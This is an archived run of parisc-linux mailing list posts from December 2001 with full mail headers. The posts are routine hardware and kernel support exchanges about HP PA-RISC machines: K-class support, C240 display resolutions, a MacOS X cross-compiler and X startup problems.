NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:47 +0000 (UTC)
Cc: maneesh@india.hp.com, <parisc-linux@lists.parisc-linux.org>
To: Jurriaan Kalkman <Jurriaan.Kalkman@zrt.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 09:39:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hermes.fachschaften.tu-muenchen.de (hermes.fachschaften.tu-muenchen.de [129.187.176.19])
	by dsl2.external.hp.com (Postfix) with SMTP id 4419F482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Dec 2001 09:39:07 -0700 (MST)
Original-Received: (qmail 22830 invoked from network); 18 Dec 2001 16:39:01 -0000
Original-Received: from io.fachschaften.tu-muenchen.de (HELO io) (129.187.176.75)
  by hermes.fachschaften.tu-muenchen.de with SMTP; 18 Dec 2001 16:39:01 -0000
In-Reply-To: <sc1f734f.090@ms-zrt1>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13416

> Be sure to also try 'links' - it renders tables, and goes a long way.
> It's perfectly possible to read freshmeat / slashdot / amazon etc.
> with.
Just for completeness - w3m is pretty good at rendering tables as well as
framesets (and works together nicely with fbi to view pictures on fb devices).

ad




From - Thu Nov 08 21:20:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Clement Moyroud <clement@moyroud.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New cross-compiler available
Date: Tue, 18 Dec 2001 19:02:46 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <3C1F84C6.9000204@moyroud.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620868 31868 80.91.229.3 (22 Nov 2014 01:47:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 11:02:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E15C482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Dec 2001 11:02:53 -0700 (MST)
Original-Received: from moyroud.net (pc213g.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP id 66B4149BDF
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Dec 2001 19:02:51 +0100 (CET)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.6) Gecko/20011120
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13417

Hi all !

For all those MacOS X users out there (there is one here, are there 
others ??), we've built a hppa-linux cross-compiler running under MacOS 
X ... You can get it on our website (www.esiee.fr/puffin ).


Off Topic : you can see (among others things !) the G4 with our webcam, 
back online after 6 months  ;)

Clement
PA/Linux ESIEE Team




From - Thu Nov 08 21:20:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Newbie to risc
Date: Tue, 18 Dec 2001 11:32:59 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20011218183259.E0860482A@dsl2.external.hp.com>
References: <1008674922.25986.4.camel@rotapile>  <20011218123746.E2461@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620868 31871 80.91.229.3 (22 Nov 2014 01:47:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 11:32:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0860482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Dec 2001 11:32:59 -0700 (MST)
In-Reply-To: Message from Jan-Benedict Glaw <jbglaw@lug-owl.de> 
   of "Tue, 18 Dec 2001 12:37:46 +0100." <20011218123746.E2461@lug-owl.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13418

Jan-Benedict Glaw wrote:
> On Tue, 2001-12-18 21:28:42 +1000, robert stanford <rob@rotapile.com>
> wrote in message <1008674922.25986.4.camel@rotapile>:
> > Hi everybody,
> >         Just got a HP K class 9000 series  with dual 240Mhz PA-RISC 8200
> > processors,32 serial ports, 24 scsi drives, 6 ups's, dat drive  and fast
> > wide diff scsi tape drive  in a 2 m case. Electrician comes over
> 
> *plonk*

Jan,
If that was you falling over, that's about right.
But dropping a K-class would be a bit louder ;^)

Robert,
K-class is only partially supported.
serial ports you probably can forget.
Anything connected via HP-PB slot (aka NIO) doesn't work either.
Search the mail archives (lists.parisc-linux.org) for "K-class"
for hints on getting a K-class booted.

grant



From - Thu Nov 08 21:20:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/782/C240 up and running 0.9.3 (serial)
Date: Tue, 18 Dec 2001 12:14:23 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20011218191423.5880F482A@dsl2.external.hp.com>
References: <Pine.OSF.4.41.0112181415560.6043-100000@student.cs.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620868 31873 80.91.229.3 (22 Nov 2014 01:47:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:48 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Markus Grabert <xam@student.cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 12:14:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 5880F482A; Tue, 18 Dec 2001 12:14:23 -0700 (MST)
In-Reply-To: Message from Markus Grabert <xam@student.cs.ucc.ie> 
   of "Tue, 18 Dec 2001 15:50:24 GMT." <Pine.OSF.4.41.0112181415560.6043-100000@student.cs.ucc.ie> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13419

Markus Grabert wrote:
> Hi all,
> Since I don't have a good monitor that
> even supports the 1024x768/75Hz of the HP (but just 72Hz),

When powering on the box, hit TAB key to select other resolutions
and frequencies. One can also change the selection from the
BOOT_ADMIN (BCH) prompt. Mail archives have lots of notes about this.
Can someone write something up for the FAQ if it's not already
in the FAQ?
I'll add/change the FAQ should someone not have needed permissions..

I'm not the debian expert for your other questions.
You might repost those on debian-hppa@lists.debian.org.
(I hope I have the list address correct - just typed something
that sounds right)

grant



From - Thu Nov 08 21:20:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Hardware support questions
Date: Tue, 18 Dec 2001 12:20:07 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20011218192007.1A7EA482A@dsl2.external.hp.com>
References: <y4IEnD.A.atE.uiiH8@murphy>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620869 31874 80.91.229.3 (22 Nov 2014 01:47:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Stan Brown" <stanb@awod.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 12:20:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 1A7EA482A; Tue, 18 Dec 2001 12:20:07 -0700 (MST)
In-Reply-To: Message from "Stan Brown" <stanb@awod.com> 
   of "Mon, 17 Dec 2001 12:17:31 EST." <y4IEnD.A.atE.uiiH8@murphy> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13420

"Stan Brown" wrote:
>  Is the kernel really not posible to compile on a PA-RISC machine yet, and
>  if so should I set up a cross compilation environemnt, or are the prebuilt
>  kernels likely to have everythig I need?

yesterday I updated the How-To Build a kernel page.
See the navigation bar on www.parisc-linux.org for the link.
Please send feedback on it to me (or this list).

thanks,
grant



From - Thu Nov 08 21:20:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Startup problem X
Date: Tue, 18 Dec 2001 12:24:17 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20011218192417.2B577482A@dsl2.external.hp.com>
References: <CDB09D386161D411881900D0B77FBBC106521DA2@ibsen.sweden.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620869 31881 80.91.229.3 (22 Nov 2014 01:47:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:49 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "JOERGENSEN,RUNAR (HP-Norway,ex1)" <runar_joergensen@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 12:24:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 2B577482A; Tue, 18 Dec 2001 12:24:17 -0700 (MST)
In-Reply-To: Message from "JOERGENSEN,RUNAR (HP-Norway,ex1)" <runar_joergensen@hp.com> 
   of "Mon, 17 Dec 2001 19:37:23 +0100." <CDB09D386161D411881900D0B77FBBC106521DA2@ibsen.sweden.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13421

"JOERGENSEN,RUNAR (HP-Norway,ex1)" wrote:
> I'm having X startup problems with a C200 (Raven/U+)
...
> about: FBIOPUT_VSCREENINFO: invalid argument
> AddScreen/ScreenInit failed for driver 0
...
> XFree86 version: 4.1.0.1
> OS: Linux 2.4.9-pa79 parisc64 [ELF] 

Try a 32-bit kernel.
64-bit kernel might want an ioctl "wrapper" which hasn't been written.
Newer kernels are available on ftp://ftp.parisc-linux.org/kernels/32

grant



From - Thu Nov 08 21:20:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Grabert <xam@student.cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/782/C240 up and running 0.9.3 (serial)
Date: Tue, 18 Dec 2001 20:09:58 +0000 (GMT)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.OSF.4.41.0112182001270.30187-100000@student.cs.ucc.ie>
References: <20011218191423.5880F482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620869 31885 80.91.229.3 (22 Nov 2014 01:47:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:49 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 13:09:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from student.cs.ucc.ie (student.cs.ucc.ie [143.239.211.125])
	by dsl2.external.hp.com (Postfix) with ESMTP id 28220482A
	for <parisc-linux@parisc-linux.org>; Tue, 18 Dec 2001 13:09:42 -0700 (MST)
Original-Received: from localhost (xam@localhost)
	by student.cs.ucc.ie (8.9.3/8.9.3) with ESMTP id UAA32471;
	Tue, 18 Dec 2001 20:09:59 GMT
In-Reply-To: <20011218191423.5880F482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13422

On Tue, 18 Dec 2001, Grant Grundler wrote:

> Markus Grabert wrote:
> > Hi all,
> > Since I don't have a good monitor that
> > even supports the 1024x768/75Hz of the HP (but just 72Hz),
>
> When powering on the box, hit TAB key to select other resolutions
> and frequencies. One can also change the selection from the
> BOOT_ADMIN (BCH) prompt. Mail archives have lots of notes about this.

Been there, done that already.
My fault, I told you something wrong: my monitor is even not
capable of 1024x768/72Hz! (It understands however the 1024x768/70 of my
Sun SPARCstation LX).
I should have explaned that 1024x768 is the lowest solution
of the C240 offers me. The others (1024x768 at 72 or 75Hz) obviously won't
work. So there is no way of using STI and stifb, since even the lowest
resolution isn't supported by my monitor.
The graphic card works however (tested all modes with a 20" monitor
of a friend).

> Can someone write something up for the FAQ if it's not already
> in the FAQ?
> I'll add/change the FAQ should someone not have needed permissions..

:-)

> I'm not the debian expert for your other questions.
> You might repost those on debian-hppa@lists.debian.org.
> (I hope I have the list address correct - just typed something
> that sounds right)

great,
 thanks max




From - Thu Nov 08 21:20:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Grabert <xam@student.cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/782/C240 up and running 0.9.3 (serial)
Date: Tue, 18 Dec 2001 20:19:38 +0000 (GMT)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.OSF.4.41.0112182015450.731-100000@student.cs.ucc.ie>
References: <Pine.OSF.4.41.0112182001270.30187-100000@student.cs.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620870 31891 80.91.229.3 (22 Nov 2014 01:47:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:50 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 13:19:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from student.cs.ucc.ie (student.cs.ucc.ie [143.239.211.125])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D8AA482A
	for <parisc-linux@parisc-linux.org>; Tue, 18 Dec 2001 13:19:19 -0700 (MST)
Original-Received: from localhost (xam@localhost)
	by student.cs.ucc.ie (8.9.3/8.9.3) with ESMTP id UAA01116;
	Tue, 18 Dec 2001 20:19:38 GMT
In-Reply-To: <Pine.OSF.4.41.0112182001270.30187-100000@student.cs.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13423

On Tue, 18 Dec 2001, Markus Grabert wrote:

sorry for replying myself!

> > Markus Grabert wrote:
>
> My fault, I told you something wrong: my monitor is even not
> capable of 1024x768/72Hz! (It understands however the 1024x768/70 of my
> Sun SPARCstation LX).
> I should have explaned that 1024x768 is the lowest resolution
> of the C240 offers me. The others (1024x768 at 72 or 75Hz) obviously won't
                                     ^^^^^^^^
                                        = 1280x1024

> work. So there is no way of using STI and stifb, since even the lowest
> resolution isn't supported by my monitor.
> The graphic card works however (tested all modes with a 20" monitor
> of a friend).

One more question:
Is it possible to add custom resolutions (mode 6 says something about
custom resolution) ?

greetings max





From - Thu Nov 08 21:20:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/782/C240 up and running 0.9.3 (serial)
Date: Tue, 18 Dec 2001 13:51:46 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20011218205146.C006C482A@dsl2.external.hp.com>
References: <Pine.OSF.4.41.0112182015450.731-100000@student.cs.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620870 31896 80.91.229.3 (22 Nov 2014 01:47:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:50 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Markus Grabert <xam@student.cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 13:51:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C006C482A; Tue, 18 Dec 2001 13:51:46 -0700 (MST)
In-Reply-To: Message from Markus Grabert <xam@student.cs.ucc.ie> 
   of "Tue, 18 Dec 2001 20:19:38 GMT." <Pine.OSF.4.41.0112182015450.731-100000@student.cs.ucc.ie> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13424

Markus Grabert wrote:
> One more question:
> Is it possible to add custom resolutions (mode 6 says something about
> custom resolution) ?

Yes. I don't know exactly how though. I'd look in the User's Guide
for that (might be available on docs.hp.com).

grant



From - Thu Nov 08 21:20:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/782/C240 up and running 0.9.3 (serial)
Date: Wed, 19 Dec 2001 01:27:56 +0000
Lines: 9
Approved: news@gmane.org
Message-ID: <20011219012756.S1897@linuxcare.com>
References: <Pine.OSF.4.41.0112181415560.6043-100000@student.cs.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620870 31897 80.91.229.3 (22 Nov 2014 01:47:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:50 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Markus Grabert <xam@student.cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 18:29:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 70233482A
	for <parisc-linux@parisc-linux.org>; Tue, 18 Dec 2001 18:29:37 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 7BC0AB00C; Wed, 19 Dec 2001 01:27:56 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.OSF.4.41.0112181415560.6043-100000@student.cs.ucc.ie>; from xam@student.cs.ucc.ie on Tue, Dec 18, 2001 at 03:50:24PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13425

On Tue, Dec 18, 2001 at 03:50:24PM +0000, Markus Grabert wrote:
> do_page_fault() pid=5087 command='scrollkeeper_to' type=15 address=0x00000008

I looked in to this, btw, it is not hppa specific, see bug #103224

Richard




From - Thu Nov 08 21:20:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ISA memory access
Date: Wed, 19 Dec 2001 01:46:40 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20011219014640.D8936@parcelfarce.linux.theplanet.co.uk>
References: <Pine.NEB.4.33.0112181417170.14021-100000@www2.scram.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620871 31899 80.91.229.3 (22 Nov 2014 01:47:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:51 +0000 (UTC)
Cc: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Jochen Friedrich <jochen@scram.de>
